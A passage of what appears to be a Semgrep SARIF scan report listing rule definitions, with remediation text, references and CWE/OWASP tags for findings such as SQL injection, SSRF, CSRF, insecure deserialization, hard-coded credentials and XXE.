[https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page](https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page)\n","text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag","id":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","name":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.templates.debug-template-tag.debug-template-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","id":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","name":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","id":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","name":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","id":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","name":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","id":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","name":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","id":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","name":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"help":{"markdown":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process","id":"javascript.aws-lambda.security.detect-child-process.detect-child-process","name":"javascript.aws-lambda.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask","id":"python.flask.db.peewee-flask.peewee-flask","name":"python.flask.db.peewee-flask.peewee-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.peewee-flask.peewee-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request](https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","id":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","name":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"help":{"markdown":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","name":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request)\n - [https://godoc.org/github.com/jlaffaye/ftp#Dial](https://godoc.org/github.com/jlaffaye/ftp#Dial)\n - [https://github.com/jlaffaye/ftp](https://github.com/jlaffaye/ftp)\n","text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request)\n - [https://golang.org/pkg/net/http/#NewRequest](https://golang.org/pkg/net/http/#NewRequest)\n","text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"help":{"markdown":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","id":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","name":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity 